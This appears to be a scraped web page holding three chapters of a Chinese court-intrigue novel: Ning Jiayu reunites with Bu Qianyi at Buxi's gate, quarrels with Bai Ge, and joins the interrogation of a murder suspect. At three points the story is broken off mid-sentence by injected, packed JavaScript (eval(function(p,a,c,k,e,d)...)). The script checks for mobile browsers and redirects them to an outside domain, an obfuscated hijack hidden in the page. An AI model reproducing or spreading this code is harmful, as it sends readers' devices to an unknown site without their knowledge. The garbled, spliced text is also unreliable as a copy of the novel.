柳如殷不明所以，照旧附和着景以承：“景兄弟言之有理。与姑娘，你三思。” 宁佳与弓着腰半晌，比之平日练功的酸痛根本不足道，但也无暇应对几人越跑越偏的好心。 “你们就把心放回肚子里罢。” 她言辞太过笃定，几人担忧的目光更为灼热。 “我的意思是......真打不过，我还跑不过吗？” 说罢，宁佳与拨开帷帘，避开以宁跳下车。车内三人一时无言，柳如殷为其蹙眉，景以承叹其大义，宁展疑其居心。 打宁佳与下车起，以宁竟在另一人脸上见识到了宁展的“独门神技”。 眨眼变色。 不仅是眨眼间脸色大变，且是寸寸神意无比真切。 两人这般神技，大同小异。 同在于，不论二位前后何种神色，皆令旁人看得真切，难以辨明虚实。 异在于，宁展，是出门在外，遇贵逢民，一概善气迎人；回府对内，则是处变不惊。步千弈，是十年如一日的生者莫进，凛若霜雪；唯见一人时，始终莞尔。 念至此，以宁回忆着步溪是否有种唤作变色妖龙的兽类。这种动物并非是自主变色，而取决于外界影响。 能够影响步千弈一眼变色那位，似乎并不自知。毕竟她每每举目，步千弈就是那副松涛清风的含笑之态。 恍如初见，从未有变。 是以宁佳与初闻旁人判评步千弈淡漠孤高时，大惑不解。她与步千弈相交近十载，此人，无不含笑。 论宁佳与之于步千弈的位置，至亲尚且不可比拟。 若非说有一处不妥，即是他未曾亲口相告步溪王室的身份，却绝无隐瞒之意，故宁佳与没多时便猜准了。 自那往后，宁佳与多少也明白，民间不实的名声兴许不是步千弈无法左右，而是他不愿，恰如他不愿亲口让附加的身份横亘二人之间。宁佳与便不再纠结于替他对外声辩。 城楼之下，是碧绯两色久违的相遇。 这回，换她撑一伞葱白，安然纵步。步千弈青衣如故，款款展怀。 相较眼前旧雨重逢的彩墨画而言，那只驻步原地的小信鸽难免显得失谐。 白歌压着剑柄，恭默守静。 城门直至远处，虽仅见寥寥三人及简车一乘，城楼上却是藏了十数位高头大马的守卫，个个堪当立地金刚，次者亦能以一当五。 步溪城门向来森严，今次尤甚。然众人一反肃穆常态，通通猫着身子，七嘴八舌说道着。 “世子殿下果真天人之姿，装束这般寡淡，一样神采英拔！” “你个粗人懂什么，殿下乃高雅之风。那一碧一绯、一浅一深，两两相会，岂不称得很？” “对对对，就是茶馆里最受捧的话本子，叫什的——牛羊侄女！” “边儿凉快去！你书都读到外州人肚子里了？镇日给殿下丢脸。” “嘿哟喂，你再嘴损牙碜，我可不与你客气了！” 几人争着吵着便要扭打起来，好在为首的督察及时将二三冒尖的头逐个按下。 其实于步溪子民而言，步千弈也极少露面。 因此，每当步世子迎接红衣姑娘回城，即城中双喜临门、举家同庆之际。 一喜得见世子欢颜，二喜得见佳人重聚。步世子宣导子民规范立身行事，却不是不近常情之人，从不阻拦他们欢庆。 放眼步溪，找不出几人真正看清过那红衣姑娘的模样，但无不将步世子与她这份终始不渝的情分看在眼里。 步溪最不乏闭月羞花、青春永驻的女子，此间情谊，才是难能可贵之物。不管红衣姑娘是美若天仙，抑或相貌平平，她早已是众人心中默认的世子妃。 昔日，守卫没少在这关头瞎闹，步千弈听得清切，也由着他们怎么高兴怎么来。而今时异事殊，务必收敛。 “一个个脑袋都不想要了？”督察严声道，“不记得姑娘那车里坐的何人？” 当中几人登时噤声。 适才那位“牛羊侄女”却半懂不懂，挠头往下看，道：“谁啊？莫非姑娘在外头有了新相好？那咱们殿下......” 两旁又是摁他脑袋，又是捂他嘴，低低呵斥：“笨！里边儿坐的，是先前屠杀集镇那农夫的主家！我看外州人的脑袋都比你这榆木有货。” 榆木听得目瞪口张，一时不知该惊前句还是气后句。 众守卫对今晨入城之人早有耳闻，则仍不敢断定。 另一人困惑发问：“那杀人如草的庄稼汉，真是宁世子部下？” 督察目不转视，紧盯远处的简车，确信道：“不错，我也是夜里丑时方才接到消息。” 手下贴墙蹲伏，面面相觑。消停不久，未闻动静，又窸窸窣窣议论开。 “这宁世子不是个仁民爱物的主儿吗？竟教出那样残暴嗜杀的部下。” “对啊，七州近来风头最盛的便属他。如此一来，还了得？” “难不成......是我们误会那个庄稼汉了？” “误会你的头！十几条血淋淋的人命摆在那，还不够真、还不够骇人？！” “就是。外州人虚伪得紧，嘉宁最厉害，能伙同墨川打着平天下的名头灭功臣三族。那宁世子，想也清白不到哪儿去。” 大伙儿议得火热，督察豁然一斜眼，十数个彪形大汉立马复归原位，俨然又是那副雄赳赳的护城姿态。 上下数道目光皆落在大路中央，但瞧一抹绯红堪堪止步浅碧身前。 宁佳与不同从前，竟是让步千弈早早展开的两臂兀自僵在空中。 简车那头四人松了口气，城楼这头几欲再度炸锅。 毕竟护城多年，步千弈风雨无阻在此接人回城，又有谁没见过这对“佳人”重逢时情真意切的拥抱呢？ 守卫们见状不免倒吸冷气，心中更叹——这可是他们看着长大的世子妃，莫非当真有了旁的相好？ 步千弈倒不恼，仅是偏了偏头，犹然莞尔。他一如既往，耐心等待宁佳与接下来那句他绝对不爱听的话。 宁佳与跟着他笑，坦言道：“青哥哥，如今我年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679237|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近十八，不好再同男子如此亲近了。不论是哥哥你，还是阁里的大家。” 果然，他不爱听。 步千弈能在心里找成百上千的借口，却不能找出一个记恨宁佳与的理由。 比起气宁佳与，他还是更愿意气自己。气自己考虑不周，未及时提议，还要让宁佳与费心向他辩解，简直愧对从小到大的一声声“哥哥”。 “不妨事。与妹妹想做什么，永远不必向我解释，我绝对支持。此番，是我考虑不周。” 步千弈爽快地垂下两臂，右手负后，身形一侧，左手为宁佳与作引。 “走罢，白歌已将你遗失的快马找回，拴于城关内。” 宁佳与却踌躇不决。 她扭头瞧见以宁神色凝重，宁展或与其交代了什么。 倘是诸如“见势不好、即刻动手”之类的指令，麻烦就大了。 可她此前确实越过师父，更是越过了听雪阁，贸然独往嘉宁。在步千弈这儿，她原就理亏，哪里好回绝？ 宁佳与迟疑回身，试探道：“青哥哥，不若我随马车同行吧。他们毕竟是我的朋友，又人生地不熟的......” 步千弈似乎一怔，正经道：“与妹妹也学会唬人了。车上两位少君，一位随从，少说参与过两三回七州大典，何谈人生地不熟？” 宁佳与以为商议告败，耷拉着脑袋，手里的青伞也没心思摆直了。 片刻，她手上被人稳住，抬头便是步千弈替她将伞正了位置，挡下阳光。 “我说过，绝对支持你。就是入夏了，”步千弈好笑又无奈，“伞得撑好，你不是最在意肤白吗？去罢，叫那赶车的入城后随着白歌走。” 像是忽然被人揭了短，宁佳与有些难为情。 “那都是小时候的事！早就不在意了......”她嘴上这么说，还是扶稳了青伞，继而指了指简车，笑眯眯道：“那我先去咯，城里见。” 步千弈点点头，依然驻步原地，目送她上车，转身离去。 碧绯两色背道而行，渐行渐远。 牵动人心的彩墨画亦然淡去。 “小与姑娘！他、他......” 景以承攥着自己的小册，十分紧张。虽自认两拨人要打起来，他出不了几分力，也恨不能将同生死、共患难印在脸上。 “没为难你罢？” 宁佳与收了青伞，瞥见视死如归的景以承，禁不住乐出声，道：“没有没有，我这不是完好无损地回来了？” 确定她安然如初，景以承和柳如殷舒了口气。 唯有宁展那眉头紧了又松，松了又紧，形似变色妖龙作怪。 观他欲言又止，宁佳与率先揶揄道：“放心，落脚处给您安排好了。步溪什么都有，咱们还可以换架宽敞点的乘舆。” 说着，她朝外高呼一句：“以宁兄，跟着前边那个骑白马就成！” 以宁应声回道：“好。” 景、柳二人被她吊起了兴致，宁展却低声念叨：“嘁。谁要坐他的车。” 柳如殷鲜少挑起话头，这会儿忍不住问：“与姑娘，你和那位步世子很相熟吗？” 近来听宁佳与讲故事，景以承的眼色有了几分长进。他瞄一眼宁展，又转向小与姑娘，难得缄口。 宁佳与思忖着，面不改色道：“熟，也不完全熟，要看怎么说了。我与他相识多年，但从不细问他的事情。” 她应的是柳如殷，却面向大家而答。 这是让车上几人心里有数——她不能为谁向步千弈说情。反之，也不会因着步千弈为难大家。 帷帘飘起，柳如殷颔首，看着外景闪过。 宁佳与自然可以选择与其中一方并立，但在替谁都能说情的时势下，反而不能轻易摇摆立场。 眼下最保险的法子，便是不偏不倚。 宁展兀自阖眼。 宁佳与的话，他素来无法信全。 32. 伏流 白歌快马驶过府衙，泱泱堵门的百姓果然散了个精光。 不但堆积数日的瓜果皮瓤、矮凳蒲扇任人收拾得一干二净，左右蹲守的两座狴犴石像更是被擦得锃光瓦亮。 基座四周甚至供着新鲜的含桃和糕饼，就差给它们颈上围朵大红花，便能雇几个家丁吆喝“新居贺喜、欢迎共饮”了。 情状如此浮夸，白歌用翅尖都能想到，步千弈事先走了一遭。 如步千弈所言，景以承确实来过步溪两回，却不曾仔细看过这城中街景。 景以承兴致极好，一进城便扒着窗角，瞧得新鲜。 行经府衙，他望见那石座上满满的含桃，不免疑问：“小与姑娘，你们步溪人都特别偏好含桃吗？” 南行路上，宁佳与有事没事便要掏几粒含桃解馋，她偏好含桃的口味早不是什么新鲜事了。 府衙门前供含桃，这才令人稀奇。 宁佳与干笑道：“呵呵......大概是罢......” 其实不是，但不是，也难以分说。 步千弈月月遣人扫荡式地采买含桃，虽非亲身到场挑拣，但瞧是时常替步世子办差的白公子，又对含桃要求颇高，各家上下心中都有了数。 步世子鲜少对外透露好恶，好容易触及一样，大伙儿岂能视而不见？ 十口相传，步溪皆知。 凡步千弈所到之处，臣民们定要供上当月最漂亮的含桃，除此以外，再添些茶食点心。于他们而言，这便是敬奉“地神”，以祈福佑。 宁展原本心平气和地端坐瞥望，窗外的景却越发不对劲。 这个方向，正是朝着城中唯一的青竹暗桩去！ 青竹阁设于步州境内的暗桩并不比别处少，而步溪城特殊，能保住这一处暗桩已是难得。 步千弈，是在给他下马威？ 宁展拳心更紧，上身稍倾，审视窗外。 珍禽异兽、奇芳怪草、花样百戏，接连入眼，即是人欢马叫，好不热闹，瞧不出是座为血案而轰动的城池。 景以承每每欢快地惊叹一声，宁展悬置的心仿若也跟着升高半寸。 不幸之幸，步千弈并非墨珩那等时刻准备与人撕破脸皮的作派。 简车随白马勒停，落脚之处约距青竹暗桩百步而已。 步千弈未将事情做绝，算是回敬宁展不曾贸然闯城，也同样将“不欢迎”的意思彰显彻底了。 不出宁展逆料，能稳坐王储之位的人，就没几个善茬儿。步千弈是，他自己亦是。 他眼前的忧虑，仅是日后的冰山一角。 几人提着包袱下车，抬头便是座气派显贵的大宅院。 高门大敞，不必踏入院中，远远可见楼台金殿、莲池浮桥，九曲长廊、满园绿荫。 如此华美之居，独独缺了块匾额。 以宁耐着性子候了半晌，前头那骑白马的仍未有所表示。他客气拱手，道：“劳烦阁下，车马该当安置何处？” 白歌终于利落下马，亦然作揖，回敬道：“不瞒阁下，此宅落成不久，尚未安置马房。再者，我们步溪的马儿实在伶俐。” 说着，他把马屁一拍，那雄俊的白马扬蹄嘶鸣，麾之即去。 “您瞧，它自个儿就玩去了，还晓得守时归家呢。若以马房拴之——” 白歌叉腰摊手，与宁佳与素日抱臂看戏的得意样不分伯仲。 “岂非残忍？” 话音未落，宁展不着痕迹地扮上和善颜色，以宁则当即黑了半张脸。 以宁单以为此人指桑骂槐，恼他借坐骑讽刺嘉宁人不如步溪人聪明。 宁展却看得明白。 这高门大院的确貌似竣工不久，处处奢靡华丽，且特将匾额空出。个中言行，只差把题着“虚骄者专属”的牌子挂上门把，就等着宁展到此亲添“宁府”的牌子了。 所谓马房之说，更是暗指“嘉宁农夫集镇残杀”，奚落嘉宁方方面面与礼义廉耻搭钩不放，实则秉性凶暴。 满是挖苦深味的风凉话，被他说得理所应当，脸不红、心不跳一般。让人听着恼火，又抓不住过失。 景以承左边挨着宁展，右边挨着宁佳与。思前想后，他还是决计请教本地人：“小与姑娘，这马儿化形之前，就那样机灵了？是天生俱如此，还是因马而异？” “马就是马。再如何，”以宁掐着缰绳，“也讲不出人话来。” 清风忽来，无力屠热，反驱大地温煦，愈催焦炙。 “在下白歌。欢迎各位——” 白歌垂手扶剑，声气依旧敬重。 “来到步溪。” 宁佳与同白歌共事多年，纵二人时常不对付，她对其所言所想再清楚不过。即是白歌双翼一抖，她便能预见这小鸟儿要飞到哪处下唾沫。 “行了行了，什么马来马去的。”宁佳与跳出来胡搅，“马都不知道这丁点小事何以值得人背后念叨。” “你没有同理心，别赖到马身上。毕竟，”白歌笑开，其间自有宁佳与方才能懂的阴森，“没有哪只马愿与随地丢马的缺德主子交流过甚。承认自己短见薄识，不丢脸。” “你小子——”宁佳与不想自己也有被小信鸽揪住辫子的一天，取扇就要劈他的爪。 白歌得了势，径直越过她，引手道：“还请各位贵客自行入宅安置，如有需求，只消着管事转达，我等随叫随到。” 景以承回过礼便匆匆往里进，柳如殷颔首同往。 宁佳与也才见新宅，不知是否是听雪增设的暗桩，难免好奇。 她正当放步，即被白歌漠然拦下：“你，不准去。随我来。” 语毕，白歌立刻压剑走人，像是确信她必会老实跟上。 宁佳与旧气未消，目光忿忿，但明白早晚逃不过此劫，随他去了。 望着宁佳与闷声渐远，宁展不由挂心，欲说还休。 “公子。”以宁道。 宁展回首，看着车上的以宁说：“何事？” “您先进去罢，属下找地方拴马。” 白歌领着宁佳与百拐千绕，总算到了一处小院。小院，乃是之于那高门而言，实则并不矮小简陋。 宁佳与步伐跟得紧，却鄙夷道：“这地方，同适才那儿顶多差了几十步。你这曲里拐弯的，溜我玩呢？” 白歌似乎没心思与她吵嘴，将宁佳与扯进院内，便自顾合了门。 他转过身，一声不吭地盯着宁佳与，目光堪比拷问牢狱重犯的须毛，用在宁佳与身上恰到好处，不致死，直令人非开口不可。 “作甚这样看我？你费心费力把我带过来，”宁佳与浑身发痒，忍不住笑道，“不会是想用那双小眼睛替师父处决我吧？” 白歌虽不是传统意义上浓眉大眼的俊小子，也生得白净，不阴人时，面目明朗如曦。可他和宁佳与之间没少相互诋毁，浑话自然驾轻就熟。 白歌被她激得情急，却不是为着自己。 “你还敢提师父？你瞒着大家去嘉宁行刺宁展的时候，可有想过师父？！” 眼下近午，日头当空。见她不作声，白歌胡乱抹去额前的汗珠，怒气更甚。 “你是第一个得入听雪的女子，又是师父亲手养大的金子，是所有人捧着不能碎的宝玉！打小，师父事事以你为先，哪里亏待过你？而你，只知道拿自己的性命当儿戏。要是个有良心的，就不会这么‘报答’师父！” 诚然，宁佳与和白歌自碰面到今天都争执不下，彼此却从未道出这般凝重的说辞。 白歌作为师兄，亦不曾如此疾言厉色地指摘过这个抢尽他风头的师妹。 宁佳与连如何应对师父都没头绪，遑论应对一直受她拿捏但遽然转性的鸟儿了。 她唇齿翕张，虚声道：“我......” 白歌狠狠瞪她，全然忘了自己本就不指望宁佳与能给他个满意的答复。 宁佳与拇指摩挲着银骨扇柄，缓缓道：“可我也不愿永远做师父护养在侧的小花小草，就此成为听雪阁唯一的废人啊......” 白歌面上闪过错愕，转身不看她。 “......你这些话，只有师父爱听。”他叉起腰，背对宁佳与问：“所以，你同那宁世子，究竟发展到哪一步了。” 他话锋急转，听得宁佳与稀里糊涂，愣愣道：“什么哪一步？” 不待回音，宁佳与恍然有悟，遂两臂一端，整个死猪不怕烫的架势，道：“哦，你不是早知我行刺未遂了吗。不对，有你在，怕是全步溪的暗桩都知道了罢？就多余问我。” 白歌不搭这怪腔，侧首看她手上的银骨扇，虎视眈眈。 宁佳与麻利捂住折扇，肃然道：“干什么，这可是师父给我的。你就是跟师父要，也抢不走。” 她言犹未尽，白歌又是那森森笑靥，质疑道：“师父给的，你还任由一个外人私自给它换了扇面？” “那是我立功应得的——” 白歌听惯了，浑不把她的托词当回事，打断道：“老实交代，你与宁展，是否情投意合？可有私定终身？你这是什么表情......莫非拜过堂了？！” 宁佳与傻眼。 她脸色发青，像是读了册荒唐至极的话本，内容诸如——琛惠帝与徉王两位不共戴天的死对头，不仅借尸还魂，甚至言归于好了。 宁佳与醒过神，大手挥起，朗声道：“你少编排我！还通讯鬼才呢......捕风捉影！” 白歌暗自松气，睨着她道：“这会儿难为情了？当初对人家少女怀春，什么‘心怀恋慕、誓死追随’都说得出来，怎的不见你脸红片刻？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679238|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这你都知道？！”宁佳与几乎冲口而出，完了方觉不妙，若无其事地走到边上扇凉。 “那无形的风和影我能捉到，何况你这只镇日上蹿下跳的狐狸。” 白歌两眼一翻，幽幽道。他瞥见那殷红的扇面，几步兜到宁佳与面前。 “差点给你带跑了！不管你与宁世子此前是何干系，总之，至此为止。” 宁佳与看出白歌仗着师父作威作福，即使她对宁展没那个意思，也要反诘回去：“凭什么？这是师父的意思？还是你自作主张？” 白歌眯起眼，隐约猜到宁佳与又要变着法地噎他，依然忍不住多嘴：“是又怎样？不是又怎样？” “你的意思，相当于风筝。”宁佳与不负白歌所望，收扇指天，“随手放了呗！” 白歌不服输，正经道：“你可知道，这宅邸左侧，是谁家院子？” “青竹阁？” 宁佳与心思细，进城路上将舆内各人神色反复扫了几遍。其实于她而言，车上除却景以承，便是宁展最好揣测。 白歌不意外，毕竟宁佳与在听雪的考绩皆以榜首居多，这事儿若能难住宁佳与才有鬼。 他接着问：“你以为，那个集镇上连杀数人的农夫，杀的是何许人家？” “豪门贵胄？” “嗯。”白歌认真道，“且是墨川的，豪门贵胄。” 宁佳与早先略有方向，却不敢往深了想。 “遇害的七位公子，个个背靠大山。你还以为，”白歌道，“这宁、墨两州的局能随手掺合吗？” 宁佳与尚在思忖，门口传来三长——三短——两长的叩门声。 白歌手握剑柄，身侧右门之后，谨慎移开左门。 来者十分熟稔，门一开便亮出听雪令牌。 不同于青竹令牌特有的竹节式样，此牌方正，通体纯白，当中刻雪片图形。 白歌敢当通讯鬼才之名，即眼观六路，耳听八方，耳目了得。一瞟的工夫，他便断得真伪，确认来人身份。 是听雪阁安排在大宅院的管家。 “什么事？”白歌道。 “禀白公子。那位提请面见世子殿下，说是好将棘手之事尽快解决。” 白歌蹙起眉，疑惑道：“这么急？” 农夫之事业已闹得沸沸扬扬，且疑点诸多。他宁世子前脚入城，来龙去脉都不甚清楚，急于一时，对他能有好处？ “是。入院后，那位就没歇息过，但仅是在院中来回踱步。待其余人休整完毕，他便亲自来寻属下。” 白歌神色复杂地望一眼宁佳与，道：“明白了，你先去备车马，我们稍后来。” 管家作揖领命，转身欲走，又听白歌道：“对了，车要大，得结实，越结实越好。” 管家颔首应了，快步离开。 白歌赫然关上门，自顾自发问：“你如今叫什么来着？宁......哪个‘佳’？该不会是我从前取的那个‘佳’吧？你不是嫌这名俗套来着......” 宁佳与折扇一挥，作势要打：“不会讲话就闭嘴！” 白歌似无惧那锋利的扇骨尖，神色松弛，不见讽刺宁展一行人时的凉薄嘴脸。 他边躲边笑，绕着院子追问：“‘雨’又是哪个‘雨’？也是从前偷了果酿出来，被雨淋成落汤鸡的‘雨’？” 闻声，宁佳与停在原地。 少顷，她闷闷道：“是......休戚与共的‘与’。” 白歌也停了脚步，吃惊道：“......你改了殿下和师父给你定的‘雨’？” “嗯。人长大了，模样变了。” 宁佳与将银骨扇系回腰侧。 “改个名有什么。” 宁佳与被师父拣回去便没了名姓，穿着一身堪堪染着些尘土和浅红的粗布衣，口袋里是几粒被压出汁水的含桃，再没旁的东西。 李主事，也并非是听雪阁所有人的师父。 宁佳与到来前，师父收入门下的弟子独白歌一人，其余隐士，皆尊其为“李主事”。 李主事打算同白歌给他唯一的小师妹取个名，可商量了大半月，始终定不下合适的。其时，白歌斟酌数夜写下的“佳”，被小师妹不管不顾地撕碎了。 最终，年幼的步千弈找到李主事，二人才议定了“雨”。 是以，宁佳与过去十年的名字，音同“与”。而步千弈口中常唤的，也是“雨妹妹”。 得知宁佳与接受了从前百般讨厌的“佳”，白歌却高兴不起来。 他记忆中，小雨是个出奇恋旧的人。 荷包装的含桃日日有，腰间佩的折扇年年在，任衣着装束如何改，就是不改各式各样的一身红。 如今更名又添姓，能是什么好兆头？ 白歌没法深究，也不敢高兴。 33. 画卷 寺正：姓名，年龄，哪里人氏，家住何处。 嫌犯：楚珂，年十四，步溪人氏，家住步溪集镇。 寺正：你与凶犯的关系。 嫌犯：我从小被他控制、囚禁。 寺正：集镇上的乡民早就交代了，你每日在凶犯院中行动自如，又何来控制、囚禁一说。 嫌犯：是他逼我这么做，旁人便不会觉察我被他虐待。 寺正：一派胡言。三位殿下在此，还敢如此敷衍了事。你可知这是欺君之罪。再不老实交代，你与他一并上那断头台。最后这句—— “不用记！” 宁佳与和白歌策马赶至大理寺狱，宁展等人已随步千弈重新提审了农夫斗杀一案的嫌犯。 楚珂。 姑娘彩绸加身，席地而坐，手脚皆未束铐。她脸蛋圆润，身形比之同龄人稍显矮小，但十分匀称。 除却头发蓬乱，全然没有阶下囚的样子，像个水灵的布玩偶。 二人来得静悄悄，宁佳与垫着脚去瞄主簿手边的提讯抄录，则见主簿慌里慌张地在“最后这句不用记”上反复涂墨，直至寺正怒火略息。 照说，步溪臣民在步世子面前本不会如此失礼。 可府衙门口的百姓找了官老爷几日麻烦，寺正就审了这金口难开的女嫌犯几日。 整整十日，寥寥进展！ 上有威压，下有民怨，教人如何不急、不怒？ 主簿本也是稳重之人。 平素只消端坐书房，喝喝茶、理理文书便能安然度日的主簿，换谁来都稳重。如今这等抄录琐事，何时落到过他的头上？ 一面抄，身侧还围着好几位大人物轮番盯视。旁人便罢了，关键是步世子尊驾凛然，教人如何不分心、不淌汗？ 并非是步千弈做了什么引得上下畏怯，他甚至从始至终未曾言语。是步溪臣民源自心底的敬仰不容许自己失误，以免冲犯地神。 寺正横了眼颤巍巍的主簿，忙拉上他到步千弈面前赔礼。 步千弈倒是不甚在意，平淡地点点头，便再没别的表示。 大理寺卿侧首示意他们退下，主簿和寺正即刻得令，麻溜出了大狱。 宁展翻着十份近乎毫无二致的口供，细细研究。 景以承虽看得茫无头绪，仍报以求学之心，随宁展一纸一纸反复核验。 以宁最不擅推来测去，更没法按下心看些干巴巴的笔墨。以氏医书是他为数不多能硬着头皮拖拖拉拉读完的文籍，遂只侧立宁展身后，静观默察。 线索早在案发当日便搜罗完毕，整理成文，完好无缺递了上去。 诸般神速，盖因相关的证物、供词委实稀少，连主犯本人都好端端地候在行凶酒家坐等落网，省了缉拿的劲儿。小吏们许久未见气味直打脑壳的血腥场面，一时受了惊，却也不能把人放着不抓。 如此一来，案子想拖沓都难。 先前，步千弈将案情摸得个大差不离，此番乃是伴上宾同行，以全步溪待客之道，故对供词兴味索然。 他如常右手负后，左手虚握贴腹，目光定定望着高墙上唯一的光。 那是一扇人头大小的窄窗。 许是三位殿下凝思过甚，仅环顾四周的以宁，及听候差遣的寺卿，注意到几人身后默不作声的一男一女。 眼前进退无据，寺卿老练通达，对那身红衣识而不言，故作恍然道：“白公子，您来啦。” 步千弈和宁展循声回神，景以承则势要将那满纸的供词盯出洞来。 步千弈眼明身快，悠悠一侧便横在了宁展和宁佳与当中，轩然道：“雨妹妹，你怎么来了？” “你们都能来。”宁佳与看了一圈，“我怎么不能？” “此处幽暗阴冷，你不是最不愿来这湿答答的地方吗？”步千弈轻手带住她的腕子，边说边把她往外领，关切道：“地上不大干净，要不要我背你？” 宁佳与连连摆手，笑得难为情：“青哥哥，我又不是七岁小孩儿了......” 若是放在七岁，她会毫不犹豫地跳上背去。步千弈说得不错，如牢狱、菜场那类湿答答、脏兮兮的地界，她原是绝不肯踏足一步的。 倘偏要宁佳与踩上此地，她便提起衣摆，脚尖点地，小心翼翼地挪，边挪边恨声啜泣。 白歌时常借此嘲她水上漂的功夫便是这样才习得炉火纯青。 可宁展对此半点不知，只觉宁佳与一个黄泥都能当面脂往脸上抹的人，踩两脚水而已，何至于要他步千弈背来背去的？ 步千弈目中无人，宁展沉着脸跟上，以、景二人亦然纵步追赶。 待以宁追至身侧，宁展即刻扭头，低声质疑：“亲哥哥？她何时又冒出个亲哥哥？我为何不知？” 青竹掌阁穷尽天下秘辛，对于身边芳心明许的刺客竟是步溪郡主这等奇闻，他不知才可疑。 以宁十分不解自家殿下着了哪门子邪道，宁展脑子一向转得比赌徒手里的色盅还利落，却道出这般无厘头的问题。 不解归不解，他认真作答：“公子，与姑娘所言，许是青衣之‘青’，而非同胞之‘亲’。” 闻言，宁展脚步一顿，方才恍然——难怪，宁馨也不会“亲哥哥、亲哥哥”地唤他。 不知何时，那堆毫无二致的供词悉数塞到了景以承手里。他捧着边走边瞧，愈是看不明白走得愈快，步伐几近生风，猛不丁同以宁的脊背撞个扎实。 以宁尚未转身，景以承却不难想象对方的脸色有多吓人。不待以宁发作，他赶忙挑个话头：“呃，元兄啊，咱们这是去哪儿啊？” 宁展的心情比以宁更差，只丢下“问他”二字，便一个劲儿往前走。 饶是脚下营营逐逐，景以承仍闲不住嘴。他看向以宁，道：“问谁啊？” 以宁兀自深呼吸，方切齿道：“承仁君，劳烦您抬眼瞧瞧，此乃哪位神仙地界？” 景以承飞速回忆一遍宁佳与路上同他讲的故事，信心满满道：“地神！对不对？” 低头对上那双问“答对有奖？”似的眼睛，以宁恨不能给自己俩拳头。没能说服殿下将此人留在景安，简直是他平生第一大悔事。 宁佳与、步千弈和白歌行速奇快，多亏寺卿带路，后边三人才不至走岔。 穿厅过廊，前上方横着块茶棕木匾，匾上提着墨黑的“会客堂”三字，工整得体。 此地僻静清雅，一览无余。 堂间两侧设柚木桌椅，正中贴墙悬挂一幅大雪纷飞的画卷。 卷中所绘，即是他们起初经过的大狱门前景，以及身披戎装的少将与一袭嫣红的小女娘，紧紧相拥。 两抹色彩在大片的白茫中煞是抢眼，彼此交织，尤其漂亮。只不过彼时深冬，而今孟夏，几无可比之处。 踏入堂内，宁展不免记起那座极其奢靡的高门大院，心道，这里才是步千弈真正喜好的韵调。 淡泊出世，不染烟尘。 如此雅致，唯有一处瞧着不同寻常，也是景以承很早便想问的。 步溪王室待客之席，不论大小繁简，皆不似外州王室独设主位高高在上，则仅于席间左右两侧列座。 七州大典上作为步溪东道主的微王，亦是与各州君主同列就坐。 因着这布设，墨川王室颇有微词，认为步溪将三大州与四小州置于平起平坐之地，是为不敬。 次届大典，微王只好在大州君主的座上稍加点缀，添少许金银玉器。 怎料墨川满意了，琅遇却不舒服了。震王认为此举欺人太甚，称他们不要金玉，就要尊严。 想来下届大典，微王又得给小州君主的座儿添点能够彰显尊严的物件了。 景以承依然有问必达，碎步至宁展身旁，悄声道：“元兄，为何步溪的座席皆是此种样式？” 宁展斜了眼步千弈的背影，简明扼要：“步溪王室，不与人争，和光同尘。” 景以承迟钝地点点头。类似的话，宁佳与同他讲过。 纵宁展和景以承言语极轻，仍未逃过那位千里眼、顺风耳。白歌当即恭谦道：“多谢展凌君美言。不过，依微王陛下之意，示为‘众生平等’。” 对古往今来由于出身被外乡人欺辱的步溪臣民而言，众生平等，的确是祖辈毕生所求。 步千弈翩然回身，置之一笑：“父辈薄愿，诸君不必挂怀。” 既是世代人的心愿，何必闪烁其词，难道不该开诚布公地去说、去做、去追吗？思及此，宁展不禁腹诽步千弈又在装什么蒜。 立谈间，寺卿领着小吏恭恭敬敬地上了六盏清茶。 未待宁展反应，步千弈再度自说自话地引着宁佳与入席右侧中座，后面向众人，客气道：“各位不必拘礼，自行入座。” 说罢，他理所当然占下宁佳与右手边，儒雅端坐。 宁展见状顿步，不得不坐回宁佳与左手边。 好一个不与人争的步溪。 那置茶的小桌立在右侧，他便占下右侧。有这算计，不若直接在小桌上放几盏含桃冰酪，教宁佳与永远只向着他一人好了。 右座三位列席，左座依次是景以承、以宁、大理寺卿，白歌则扶剑立于步千弈身后。 寺卿陪笑半晌，也不见堂中哪位有开口的意思，十分知趣地请示步千弈。 “殿下，恕下官无能。嫌犯楚氏不服证人指供，坚称自己与墨川七位公子均受主犯迫害。农夫斗杀或成悬案，若就此审结，百姓们不会买账。不知殿下有何高见？” 步千弈神色不动，右手捏着碗盖撇茶沫，淡然道：“就此审结，不买账的百姓，兴许并非步溪人氏。” 言下之意，嘉宁与墨川的矛盾，干步溪何事？ 至多是嘉宁人不顾步溪王法，恣意妄为罢了。横竖那些外州人也不是第一天如此轻视步溪。 宁展自然听懂了，但自入朝摄政后，他便不是今日帐、今日清之人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 